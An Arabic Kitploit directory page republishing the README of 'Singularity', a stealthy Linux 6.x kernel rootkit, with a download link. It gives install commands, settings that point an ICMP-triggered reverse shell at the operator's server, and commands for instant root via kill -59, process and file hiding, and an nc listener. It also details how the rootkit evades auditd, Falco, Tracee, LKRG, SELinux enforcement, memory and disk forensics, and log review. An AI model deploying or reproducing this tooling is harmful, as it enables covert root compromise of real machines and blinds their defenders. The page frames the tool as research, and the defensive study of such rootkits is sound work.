Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
Singularity — روتكيت نواة لينكس خفي للأنوية الحديثة (6x) | Kitploit
أدوات/GitHubGitHub/matheuzsecurity/singularity
تصعيد الامتيازات
GitHubmatheuzsecurity/singularity

Singularity

روتكيت نواة لينكس خفي للأنوية الحديثة (6x)

عرض المستودع
1.7k190منذ 2 أشهرتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

Singularity - روتكيت نواة لينكس خفي

Singularity Rootkit

"هل نعطي الطب الشرعي بعض العمل؟"

هذا المشروع مستوحى من امرأة مميزة جدًا بالنسبة لي: Mocinha

Singularity هو روتكيت قوي لوحدة نواة لينكس (LKM) مصمم للأنوية الحديثة 6.x. يوفر قدرات تمويه شاملة من خلال اعتراض استدعاءات النظام المتقدم عبر بنية ftrace.

المقال البحثي الكامل (نسخة قديمة): Singularity: روتكيت نواة لينكس - الزعيم الأخير

دراسة حالة لتجاوز EDR: اختراق Elastic EDR باستخدام Singularity

فيديو إثبات المفهوم: Singularity ضد أدوات أمن eBPF: Singularity ضد أدوات أمن eBPF

اختراق أمان eBPF باستخدام خطافات Singularity: اختراق eBPF

ما هي Singularity؟

Singularity هي روتكيت متطور يعمل على مستوى النواة، ويوفر:

  • إخفاء العمليات: اجعل أي عملية غير مرئية تمامًا للنظام
  • إخفاء الملفات والأدلة: إخفاء الملفات باستخدام مطابقة الأنماط
  • تمويه الشبكة: إخفاء اتصالات TCP/UDP والمنافذ وإدخالات conntrack
  • تصعيد الامتيازات: وصول جذر فوري عبر الإشارات
  • تعقيم السجلات: تصفية سجلات النواة وسجلات النظام في الوقت الفعلي
  • الإخفاء الذاتي: إزالة نفسه من قوائم الوحدات ومراقبة النظام
  • الوصول عن بُعد: قشرة عكسية تُطلق عبر ICMP مع إخفاء تلقائي
  • مكافحة الكشف: تجاوز أدوات الأمن الزمنية القائمة على eBPF (Falco وTracee)، وتجاوز حارس وقت تشغيل نواة لينكس (LKRG)، ومنع محاولات تجاوز io_uring
  • تجنب التدقيق: إسقاط رسائل التدقيق للعمليات المخفية على مستوى netlink مع تتبع الإحصائيات وتصفية inode للمآخذ
  • تجنب فحص الذاكرة: تصفية /proc/kcore و/proc/kallsyms و/proc/vmallocinfo
  • تصفية Cgroup: تصفية معرفات العمليات المخفية من cgroup.procs
  • تجنب Syslog: اعتراض do_syslog لتصفية الوصول إلى المخزن المؤقت الحلقي للنواة عبر klogctl()
  • تجنب Debugfs: تصفية مخرجات أدوات مثل debugfs التي تقرأ أجهزة الكتل الخام
  • تصفية Conntrack: إخفاء الاتصالات من /proc/net/nf_conntrack واستعلامات netlink SOCK_DIAG/NETFILTER
  • تجنب SELinux: تجاوز تلقائي لوضع الإلزام في SELinux عند تشغيل ICMP
  • تجاوز LKRG: تجاوز آليات الكشف في حارس وقت تشغيل نواة لينكس
  • تجاوز أمان eBPF: إخفاء العمليات عن أدوات الأمن الزمنية القائمة على eBPF (Falco وTracee)

الميزات

  • رفع الامتيازات عبر الإشارات (kill -59)
  • إخفاء كامل للعمليات عن /proc وأدوات المراقبة
  • إخفاء نظام الملفات القائم على الأنماط للملفات والأدلة
  • إخفاء اتصالات الشبكة عن netstat وss وconntrack ومحللات الحزم
  • تصفية netlink متقدمة (رسائل SOCK_DIAG وNETFILTER/conntrack)
  • تصفية سجلات النواة في الوقت الفعلي لـ dmesg وjournalctl وklogctl
  • إخفاء ذاتي للوحدة عن lsmod و/sys/module
  • تطبيع تلقائي لعلم تلطيخ النواة
  • تصفية بيانات BPF لمنع الكشف القائم على eBPF
  • حماية io_uring ضد تجاوز الإدخال/الإخراج غير المتزامن
  • إخفاء رسائل النواة وسجلات النظام
  • تجنب كاشفات الروتكيت القياسية (unhide وchkrootkit وrkhunter)
  • تتبع وإخفاء تلقائي للعمليات الفرعية عبر خطافات tracepoint
  • دعم متعدد البنى (x64 + ia32)
  • تصفية على مستوى حزم الشبكة مع حماية المآخذ الخام
  • حماية ضد جميع أشكال إدخال/إخراج الملفات (read وwrite وsplice وsendfile وtee وcopy_file_range)
  • تصفية رسائل التدقيق على مستوى netlink مع تتبع الإحصائيات لتجنب كشف auditd
  • تتبع inode للمآخذ لإخفاء شبكة شامل
  • تصفية معرفات عمليات Cgroup لمنع الكشف عبر /sys/fs/cgroup/*/cgroup.procs
  • حظر netlink الخاص بـ TaskStats لمنع تعداد معرفات العمليات
  • تصفية /proc/kcore لتجنب أدوات فحص الذاكرة (Volatility وcrash وgdb)
  • خطاف do_syslog لتصفية klogctl() ومنع تسريبات المخزن المؤقت الحلقي للنواة
  • تصفية مخرجات أجهزة الكتل لتجنب debugfs وأدوات فحص الأقراص المماثلة
  • تصفية مخرجات journalctl -k عبر خطاف write
  • قدرة تجاوز وضع الإلزام في SELinux للقذائف المُطلقة عبر ICMP
  • تجاوز فحوصات سلامة LKRG للعمليات المخفية
  • إخفاء أحداث Falco عبر المخزن المؤقت الحلقي لـ BPF واعتراض أحداث perf

التثبيت

المتطلبات الأساسية

  • نواة لينكس 6.x
  • ترويسات النواة للنواة قيد التشغيل لديك
  • برمجتا GCC وMake
  • وصول الجذر

التثبيت السريع```bash

cd /dev/shm git clone https://github.com/MatheuZSecurity/Singularity cd Singularity sudo bash setup.sh cd ..

root@kitploit:~
هذا كل شيء. تقوم الوحدة تلقائيًا بما يلي:
- تخفي نفسها من lsmod و /proc/modules و /sys/module
- تمسح أعلام taint الخاصة بالنواة
- تصفية السلاسل الحساسة من dmesg و journalctl -k و klogctl
- تبدأ بحماية ملفاتك وعملياتك المخفية

### ملاحظات مهمة

**تقوم الوحدة بإخفاء نفسها تلقائيًا بعد التحميل**

**لا توجد ميزة إلغاء التحميل - يلزم إعادة التشغيل للإزالة**

**اختبرها في جهاز افتراضي أولاً - لا يمكن إزالتها دون إعادة تشغيل**

## الإعداد

### تعيين عنوان IP والمنفذ الخاص بالخادم

**عدّل `include/core.h`:**```c
#define YOUR_SRV_IP "192.168.1.100"  // Change this to your server IP
#define YOUR_SRV_IPv6 { .s6_addr = { [15] = 1 } }  // IPv6 if needed

عدّل modules/icmp.c:

root@kitploit:~
/*
 * Edit the remote host to your IP address
 */
#define REMOTE_HOST "127.0.0.1"

/*
 * Change the remote port
 */
#define REMOTE_PORT 4444
  • غيّر المضيف البعيد الافتراضي إلى عنوان IP الخاص بك.
  • غيّر المنفذ الافتراضي إلى المنفذ الذي تريده.

إذا حاولت تنفيذ هذه الوحدة، سترى أن الوحدة تحاول الاتصال بخادم وتنتظر البيانات الواردة. في الخطوة التالية، سندرس كيفية إنشاء الخادم والمعالج الخاص بذلك. أيضًا، عند تشغيل الوحدة، يتم تشفير أول بايتات يتم نقلها بين العميل والخادم بمفتاح XOR ثابت سنعرّفه أدناه (collect.c).```c #define SRV_PORT "8081" // Change this to your desired port

root@kitploit:~
**عدّل `modules/bpf_hook.c`:**```c
#define HIDDEN_PORT 8081  // Must match SRV_PORT

عدّل modules/hiding_tcp.c:```c #define PORT 8081 // Must match SRV_PORT

root@kitploit:~
**مهم**: يجب أن تتطابق جميع تعريفات المنافذ لضمان إخفاء الشبكة بشكل صحيح ووظيفة الصدفة العكسية عبر ICMP.

## الاستخدام

### إخفاء العمليات```bash
# Hide current shell
kill -59 $$

# Hide specific process
kill -59 <PID>

ستكون العملية غير مرئية لـ ps وtop وhtop و/proc وجميع أدوات المراقبة. جميع العمليات الفرعية يتم تتبعها وإخفاؤها تلقائيًا.

إخفاء الملفات والدلائل

الملفات المطابقة لأنماطك المكوّنة يتم إخفاؤها تلقائيًا:```bash mkdir singularity echo "secret" > singularity/data.txt

Invisible to ls, find, locate

ls -la | grep singularity

(no output)

But you can still access it

cat singularity/data.txt

secret

cd is blocked for security

cd singularity

bash: cd: singularity: No such file or directory

root@kitploit:~
<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/10489/13713f834a730a67b38b024c092d77eb111a7d38e2fa0ac16a8f36ffd3506f90.png">
</p>

### كن الجذر

**الطريقة القائمة على الإشارات:**```bash
kill -59 $$
id  # uid=0(root)

إخفاء اتصالات الشبكة

يتم إخفاء الاتصالات على المنفذ المُكوّن لديك (الافتراضي: 8081) تلقائيًا:```bash nc -lvnp 8081

Invisible to all monitoring

ss -tulpn | grep 8081 # (no output) netstat -tulpn | grep 8081 # (no output) lsof -i :8081 # (no output) cat /proc/net/nf_conntrack | grep 8081 # (no output)

Even advanced netlink queries are filtered

ss -tapen | grep 8081 # (no output) conntrack -L | grep 8081 # (no output)

root@kitploit:~
تُسقَط الحزم على مستوى المقبس الخام (tpacket_rcv) وتكون مخفية عن:
- واجهات /proc/net/* (tcp, tcp6, udp, udp6)
- /proc/net/nf_conntrack
- استعلامات Netlink SOCK_DIAG (المستخدمة من قبل ss, lsof)
- رسائل Netlink NETFILTER/conntrack (المستخدمة من قبل أداة conntrack)

<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/10489/a77a916efc8ee8b9091b3a0ef3acfde44eff570bc022477a3906fac1f623993f.png">
</p>

### شل عكسي عبر ICMP

قم بتشغيل شل عكسي مخفي عن بُعد مع تجاوز تلقائي لـ SELinux:

**1. ابدأ المستمع:**```bash
nc -lvnp 8081  # Use your configured port

2. إرسال مشغل ICMP:```bash sudo python3 scripts/trigger.py <target_ip>

root@kitploit:~
**3. استقبال شل الجذر** (مخفي تلقائيًا مع جميع العمليات الفرعية، ويتم تجاوز وضع SELinux المقيد إذا كان نشطًا)

<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/10489/6d501d17287ba7f674b766dd25b281d2b26d9f420baa3bbc5a9cc9863db541fc.png">
</p>

## آليات الحماية

### حماية التحكم في Ftrace

يتم اعتراض جميع محاولات تعطيل ftrace وحظرها بصمت:```bash
echo 0 > /proc/sys/kernel/ftrace_enabled       # Appears successful but does nothing

Protected syscalls: write, writev, pwrite64, pwritev, pwritev2, sendfile, sendfile64, splice, vmsplice, tee, copy_file_range, io_uring_enter (مع تخزين مؤقت ذكي لكل PID)

تصفية استدعاءات النظام BPF

تنفّذ وحدة bpf_hook.c نظامًا متطورًا لمكافحة الاكتشاف ضد الأدوات الأمنية المبنية على eBPF. وبدلاً من حظر استدعاءات BPF بالكامل (وهو ما سيشكّل بصمة اكتشاف)، تقوم بتصفية البيانات بشكل انتقائي على مستوى النواة لجعل العمليات والاتصالات المخفية غير مرئية لبرامج eBPF.

الاستراتيجية: اعتراض وظائف جمع البيانات والإبلاغ المستخدمة من قبل برامج eBPF، وليس استدعاء BPF نفسه. وهذا يسمح لأدوات eBPF المشروعة بالعمل بشكل طبيعي مع منعها من رؤية الموارد المخفية.

الموارد المحمية:

  • العمليات المخفية وشجرة العمليات الكاملة الخاصة بها (حتى 10 مستويات من العمليات الأصلية)
  • اتصالات الشبكة على المنفذ المُهيأ (الافتراضي: 8081) أو إلى عنوان IP مُهيأ
  • عُقد (inodes) المقابس المرتبطة بالعمليات المخفية

نقاط الاعتراض:

  • تنفيذ المُكرِّر (تعداد العمليات/المقابس)
  • عمليات الحلقة العازلة (إرسال الأحداث إلى مساحة المستخدم)
  • عمليات خرائط BPF (عمليات البحث والإدراج لمعرفات PID)
  • مخرجات حدث Perf (توصيل أحداث eBPF القديمة)
  • كتابة ملفات Seq (تنسيق المخرجات)
  • تنفيذ البرنامج (تصفية مبنية على السياق)

يتغلب هذا الأسلوب على الأدوات الأمنية eBPF دون إطلاق تنبيهات قد تنتج عن حظر عمليات BPF بالكامل.

حماية io_uring

حماية ضد تجاوز io_uring في محاولات ftrace_enabled و tracing_on مع تخزين مؤقت ذكي (ذاكرة تخزين مؤقت لمدة ثانية واحدة لكل PID لمنع تكرار فحص العمليات وتقليل الحمل)

تنظيف السجلات

تصفية فورية للسلاسل الحساسة من جميع واجهات سجل النواة:

الكلمات المفتاحية المفلترة: taint, journal, singularity, Singularity, matheuz, zer0t, kallsyms_lookup_name, obliviate, hook, hooked_, constprop, clear_taint, ftrace_helper, fh_install, fh_remove

ملاحظة: يتم إسقاط رسائل التدقيق الخاصة بمعرفات العمليات المخفية على مستوى netlink مع تتبع إحصائي (get_blocked_audit_count, get_total_audit_count)

التهرب من فحص القرص الجنائي

تقوم Singularity بربط استدعاء النظام write لاكتشاف وتصفية المخرجات الصادرة عن أدوات الفحص الجنائي للقرص:

كيف يعمل:

  1. يكتشف ما إذا كانت العملية تحتوي على جهاز كتلة مفتوح (/dev/sda, /dev/nvme0n1, إلخ)
  2. يكتشف أنماط الإخراج بأسلوب debugfs (قوائم inode، بيانات تعريف نظام الملفات)
  3. يعقّم الأنماط المخفية في مكانها (يستبدلها بمسافات للحفاظ على حجم المخزن المؤقت والمجاميع الاختبارية)```bash

Hidden files are invisible even to raw disk analysis

debugfs /dev/sda3 -R 'ls -l /home/user/singularity'

(spaces where "singularity" was)

The pattern is sanitized in the output buffer

Checksums remain valid, no corruption

root@kitploit:~
**الأنماط المكتشفة:**
- بادئة `debugfs:`
- قوائم Inode مع أقواس
- `Inode count:`, `Block count:`, `Filesystem volume name:`
- `Filesystem UUID:`, `e2fsck`, `Inode:`

### تنفيذ إخفاء العمليات

إخفاء كامل من استدعاءات النظام وواجهات النواة:
- `/proc/[pid]/*` (openat, readlinkat محظوران)
- getdents, getdents64 (قائمة الدليل مفلترة)
- stat, lstat, statx, newfstatat (البيانات الوصفية مخفية)
- kill بالإشارة 0 (يعيد ESRCH)
- getsid, getpgid, getpgrp (يعيد ESRCH)
- sched_getaffinity, sched_getparam, sched_getscheduler, sched_rr_get_interval (يعيد ESRCH)
- getpriority (يعيد ESRCH)
- sysinfo (عدد العمليات معدَّل)
- pidfd_open (يعيد ESRCH)
- استعلامات TaskStats عبر netlink (يعيد ESRCH)
- PIDs الخاصة بـ Cgroup مفلترة من cgroup.procs

يتم تتبع العمليات الفرعية تلقائيًا عبر خطاف نقطة التتبع sched_process_fork.

### تجاوز LKRG

تنفّذ Singularity مراوغة شاملة ضد Linux Kernel Runtime Guard:

**الفحوصات التي تم تجاوزها:**
- التحقق من بيانات اعتماد العملية (p_cmp_creds)
- سلامة بنية المهمة (p_cmp_tasks)
- التحقق من سلامة تدفق التحكم (p_ed_pcfi_validate_sp, p_ed_enforce_pcfi)
- فحوصات سلامة النواة (p_check_integrity)
- النظام الفرعي لكشف الاستغلال (p_exploit_detection_init)
- تتبع مساعد وضع المستخدم (p_call_usermodehelper_entry, p_call_usermodehelper_exec_entry)
- تفريغ المهام وتعدادها (p_dump_task_f, ed_task_add)
- اعتراض معالج kprobe ftrace

**الميزات:**
- كشف تلقائي لـ LKRG وتثبيت الخطافات
- التحقق من سلالة العمليات (يخفي أشجار عمليات كاملة حتى عمق 64 مستوى)
- تجاوز UMH لعمليات الصدفة العكسية
- نظام إشعارات الوحدة لكشف تحميل LKRG

العمليات المخفية غير مرئية لجميع آليات التحقق من سلامة LKRG.

### تجاوز Falco

تنفّذ Singularity نظام دفاع شامل ضد EDR يمنع الأدوات الأمنية المبنية على eBPF من كشف العمليات المخفية واتصالات الشبكة. تعمل الحماية عبر اعتراض دوال النواة التي تستخدمها برامج eBPF لجمع البيانات والإبلاغ عنها.

**محمي ضد:**
- Falco (أمان وقت التشغيل القائم على الأحداث)
- Tracee (تتبع أمني)
- bpftool و ss مع الواجهة الخلفية BPF

**اعتراض متعدد الطبقات:**

1. **فلترة المكرّرات** (bpf_iter_run_prog)
   - يفلتر مآخذ التوصيل على المنفذ المخفي من مكرّرات TCP/UDP
   - يخفي العمليات وأبناءها من مكرّرات المهام
   - يمنع الكشف عبر `ss` وأدوات تعداد العمليات

2. **حظر أحداث الحلقة العازلة** (bpf_ringbuf_output, bpf_ringbuf_reserve, bpf_ringbuf_submit)
   - يكشف بنى أحداث Falco عبر تحليل تنسيق الترويسة
   - يحظر تخصيص الأحداث وإرسالها وإخراجها للـ PIDs المخفية
   - يمنع أحداث استدعاءات النظام من الوصول إلى وكيل مساحة المستخدم الخاص بـ Falco

3. **التلاعب بخريطة BPF** (bpf_map_lookup_elem, bpf_map_update_elem)
   - يعيد NULL عندما يبحث eBPF عن PIDs مخفية في الخرائط
   - يُسقط بصمت إدراجات الخريطة حيث يكون المفتاح PID مخفيًا
   - يمنع أدوات أمان eBPF من تتبع العمليات المخفية

4. **كتم أحداث perf** (perf_event_output, perf_trace_run_bpf_submit)
   - يحظر إرسال الأحداث المستندة إلى perf من العمليات المخفية
   - يمنع أدوات eBPF القديمة من استقبال بيانات التتبع

5. **فلترة ملفات seq** (bpf_seq_write, bpf_seq_printf)
   - يفحص بيانات المخرجات بحثًا عن PIDs مخفية قبل الكتابة
   - يمنع التسريب عبر واجهات /proc التي تستخدمها مكرّرات eBPF

6. **التحكم في تنفيذ البرنامج** (__bpf_prog_run)
   - يحظر تنفيذ برنامج eBPF عند التشغيل في سياق عملية مخفية
   - يمنع أي مراقبة قائمة على eBPF لدواخل العمليات المخفية

**إخفاء مآخذ التوصيل والاتصالات:**
- يخزّن عنوان IP المخفي مؤقتًا لتحسين الأداء
- يفلتر مآخذ التوصيل بناءً على المنفذ المكوَّن وعنوان IP المكوَّن
- يخفي اتصالات IPv4 و IPv6 معًا
- يعمل على مستوى المكرّر (قبل وصول البيانات إلى برامج eBPF)

**تتبع سلالة العمليات:**
- يتتبع سلسلة العملية الأم حتى عمق 10 مستويات
- يخفي تلقائيًا جميع العمليات المنحدرة من العمليات المخفية
- يضمن بقاء العمليات الفرعية المنشأة بعد الإخفاء غير مرئية

تولّد العمليات والاتصالات المخفية صفر أحداث مرئية لأدوات أمان eBPF.

## الأدوات الأمنية التي تم تجاوزها

**مراقبة العمليات**: ps, top, htop, atop, pidof

**نظام الملفات**: ls, find, locate, stat, lstat, readlink, tree

**الطب الشرعي للأقراص**: debugfs, e2fsck (المخرجات مفلترة عبر خطاف الكتابة)

**الطب الشرعي للذاكرة**: Volatility, crash, gdb (عبر فلترة /proc/kcore)

**الشبكة**: netstat, ss, lsof, tcpdump, wireshark, conntrack, nload, iftop, /proc/net/*

**السجلات والتتبعات**: dmesg, journalctl, klogctl, strace, ltrace, ftrace, perf

**كاشفات الـ rootkit**: unhide, chkrootkit, rkhunter, OSSEC

**كشف الوحدات**: lsmod, modinfo, /sys/module, /proc/modules, kmod

**أمان النواة**: LKRG (Linux Kernel Runtime Guard)

**أدوات أمان eBPF**:
- Falco (مراقبة أمان وقت التشغيل)
- Tracee (تتبع أمني)
- bpftrace, bpftool (عند استخدامها للمراقبة)

**EDR/المراقبة**: المراقبون القائمون على io_uring، بعض حلول EDR لأنظمة Linux، auditd

## خطافات استدعاءات النظام

| الاستدعاء/الدالة | الوحدة | الغرض |
|---------|--------|---------|
| getdents, getdents64 | hiding_directory.c | يفلتر مدخلات الدلائل، يخفي الـ PIDs |
| stat, lstat, newstat, newlstat, statx, newfstatat | hiding_stat.c | يخفي البيانات الوصفية للملفات، يعدّل nlink |
| getpriority | hiding_stat.c | يخفي استعلامات الأولوية للـ PIDs المخفية |
| openat | open.c | يحظر الوصول إلى /proc/[pid] المخفي |
| readlinkat | hiding_readlink.c | يحظر حل الروابط الرمزية |
| chdir | hiding_chdir.c | يمنع الانتقال إلى الدلائل المخفية |
| read, pread64, readv, preadv | clear_taint_dmesg.c | يفلتر سجلات النواة، kcore، kallsyms، PIDs الخاصة بـ cgroup، nf_conntrack |
| do_syslog | clear_taint_dmesg.c | يفلتر الحلقة العازلة للنواة عبر klogctl()/syslog() |
| sched_debug_show | clear_taint_dmesg.c | يفلتر مخرجات تصحيح المجدول |
| write, writev, pwrite64, pwritev, pwritev2 | hooks_write.c | يحظر التحكم في ftrace + يفلتر الطب الشرعي للأقراص + يفلتر مخرجات journalctl |
| sendfile, sendfile64, copy_file_range | hooks_write.c | يحظر نسخ الملفات إلى الملفات المحمية |
| splice, vmsplice, tee | hooks_write.c | يحظر الكتابات القائمة على الأنابيب إلى الملفات المحمية |
| io_uring_enter | hooks_write.c | يحظر تجاوز الإدخال/الإخراج غير المتزامن مع تخزين PID مؤقت |
| kill | become_root.c | مشغّل الجذر + إخفاء العمليات |
| getsid, getpgid, getpgrp | become_root.c | يعيد ESRCH للـ PIDs المخفية |
| sched_getaffinity, sched_getparam, sched_getscheduler, sched_rr_get_interval | become_root.c | يعيد ESRCH للـ PIDs المخفية |
| sysinfo | become_root.c | يعدّل عدد العمليات |
| pidfd_open | become_root.c | يعيد ESRCH للـ PIDs المخفية |
| tcp4_seq_show, tcp6_seq_show | hiding_tcp.c | يخفي اتصالات TCP من /proc/net |
| udp4_seq_show, udp6_seq_show | hiding_tcp.c | يخفي اتصالات UDP من /proc/net |
| tpacket_rcv | hiding_tcp.c | يُسقط الحزم على مستوى مآخذ التوصيل الخام |
| recvmsg, recvfrom | audit.c | يفلتر رسائل netlink الخاصة بـ SOCK_DIAG و NETFILTER |
| netlink_unicast | audit.c | يُسقط رسائل التدقيق للـ PIDs المخفية |
| audit_log_start | audit.c | يحظر إنشاء سجلات التدقيق للعمليات المخفية |
| bpf | bpf_hook.c | يفلتر عمليات eBPF للـ PIDs المخفية |
| bpf_iter_run_prog | bpf_hook.c | يخفي العمليات المخفية من مكرّرات BPF |
| bpf_seq_write, bpf_seq_printf | bpf_hook.c | يفلتر مخرجات ملفات seq الخاصة بـ BPF |
| bpf_ringbuf_output, bpf_ringbuf_reserve, bpf_ringbuf_submit | bpf_hook.c | يفلتر أحداث Falco عبر الحلقة العازلة |
| bpf_map_lookup_elem, bpf_map_update_elem | bpf_hook.c | يفلتر عمليات خريطة BPF |
| perf_event_output, perf_trace_run_bpf_submit | bpf_hook.c | يفلتر أحداث perf للعمليات المخفية |
| __bpf_prog_run | bpf_hook.c | يفلتر تنفيذ برنامج BPF |
| icmp_rcv | icmp.c | صدفة عكسية تُفعَّل عبر ICMP مع تجاوز SELinux |
| taskstats_user_cmd | task.c | يحظر استعلامات TaskStats للـ PIDs المخفية |
| sched_process_fork (tracepoint) | trace.c | يتتبع العمليات الفرعية |
| kprobe_ftrace_handler | lkrg_bypass.c | يتجاوز كشف kprobe الخاص بـ LKRG |
| p_cmp_creds, p_cmp_tasks | lkrg_bypass.c | يتجاوز فحوصات بيانات الاعتماد الخاصة بـ LKRG |
| p_ed_pcfi_validate_sp, p_ed_enforce_pcfi | lkrg_bypass.c | يتجاوز التحقق من CFI الخاص بـ LKRG |
| p_check_integrity | lkrg_bypass.c | يتجاوز فحوصات سلامة LKRG |
| p_dump_task_f, ed_task_add | lkrg_bypass.c | يُخفي من تعداد مهام LKRG |
| p_call_usermodehelper_entry, p_call_usermodehelper_exec_entry | lkrg_bypass.c | يتجاوز تتبع UMH الخاص بـ LKRG |
| p_exploit_detection_init | lkrg_bypass.c | يتجاوز كشف الاستغلال الخاص بـ LKRG |
| tainted_mask (kthread) | reset_tainted.c | يمسح أعلام تلوث النواة |
| module_hide_current | hide_module.c | يزيل من قوائم الوحدات و sysfs |

**دعم متعدد البنى**: x86_64 (`__x64_sys_*`) و ia32 (`__ia32_sys_*`, `__ia32_compat_sys_*`)

## إصدارات النواة المختبرة

| إصدار النواة | التوزيعة | الحالة | ملاحظات |
|---------------|--------------|--------|-------|
| 6.8.0-79-generic | Ubuntu 22.04 / 24.04 | مستقر | بيئة التطوير الأساسية |
| 6.12.0-174.el10.x86_64 | CentOS Stream 10 | مستقر | نواة مستندة إلى RHEL |
| 6.12.48+deb13-amd64 | Debian 13 (Trixie) | مستقر | نواة Debian |
| 6.17.8-300.fc43.x86_64 | Fedora 43 | مستقر | تم التحقق من تجاوز فرض SELinux |
| 6.17.0-8-generic | Ubuntu 25.10 | مستقر | نواة عامة أحدث، تعمل بكامل وظائفها |
| 6.14.0-37-generic | Ubuntu 24.04 | مستقر | تم التحقق من تجاوز LKRG و Falco |
| 6.12.25-amd64 | Kali Linux | مستقر | Kali 6.12.25-1kali1 |

## المؤامرة

لسوء حظ البعض...

حتى مع كل هذه الفلاتر والحمايات والخطافات، لا تزال هناك طرق لكشف هذا الـ rootkit.

لكن إذا كنت محللًا جنائيًا بارعًا، أو متخصصًا في DFIR، أو باحثًا في البرمجيات الخبيثة، فسأتركك تكتشف ذلك بنفسك.

لن أصلح هذا الأمر، لأنه سيكون أقوى بكثير OP ;)

## الاعتمادات

تم إنشاء **Singularity** بواسطة **MatheuZSecurity** (Matheus Alves)

- LinkedIn: [mathsalves](https://www.linkedin.com/in/mathsalves/)
- Discord: `kprobe`

**انضم إلى باحثي الـ rootkit**: Discord - [https://discord.gg/66N5ZQppU7](https://discord.gg/66N5ZQppU7)

### مراجع الأكواد

- [fuxSocy](https://github.com/iurjscsi1101500/fuxSocy/tree/main)
- [Adrishya](https://github.com/malefax/Adrishya/blob/main/Adrishya.c#L158)
- [MatheuZSecurity/Rootkit](https://github.com/MatheuZSecurity/Rootkit)

### الإلهام البحثي

- [KoviD](https://github.com/carloslack/KoviD)
- [Basilisk](https://github.com/lil-skelly/basilisk)
- [GOAT Diamorphine rootkit](https://github.com/m0nad/Diamorphine)

## المساهمة

- أرسل طلبات السحب (Pull Requests) للتحسينات
- أبلغ عن الأخطاء عبر مشكلات GitHub
- اقترح تقنيات مراوغة جديدة
- شارك طرق الكشف (لأغراض البحث)

**وجدت خطأ؟** افتح مشكلة أو تواصل معي على Discord: `kprobe`

**لأغراض التعليم والبحث فقط**

تم إنشاء Singularity كمشروع بحثي لاستكشاف حدود تقنيات التخفي على مستوى النواة. الهدف هو الإجابة عن سؤال واحد: **"إلى أي مدى يمكن أن يختبئ الـ rootkit إذا نجح في التسلل والتحميل إلى نظام؟"**

أُنشئ هذا المشروع من أجل:
- دفع حدود أبحاث الأمن الهجومي
- مساعدة المدافعين على فهم ما يواجهونه
- توفير مورد تعليمي لدواخل النواة وتقنيات المراوغة
- المساهمة في قاعدة معارف مجتمع الأمان

**لست مسؤولًا عن أي إساءة استخدام لهذا البرنامج.** إذا اخترت استخدام Singularity لأغراض خبيثة، فالأمر يقع على عاتقك. تُوفَّر هذه الأداة كما هي لأغراض البحث والتعليم والاختبارات الأمنية المصرح بها فقط.

اختبر فقط على الأنظمة التي تملكها أو التي لديك إذن كتابي صريح لاختبارها. الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني في معظم الولايات القضائية.

**كن باحثًا، لا مجرمًا.**
تنزيل الأداة
الواجهةالخطافالحالة
dmesgخطاف قراءة على /proc/kmsgتمت التصفية
journalctl -kخطاف كتابة (تصفية المخرجات)تمت التصفية
klogctl() / syslog()خطاف do_syslogتمت التصفية
/sys/kernel/debug/tracing/*خطاف قراءةتمت التصفية
/var/log/kern.log, syslog, auth.logخطاف قراءةتمت التصفية
/proc/kallsyms, /proc/kcore, /proc/vmallocinfoخطاف قراءةتمت التصفية
/proc/net/nf_conntrackخطاف قراءةتمت التصفية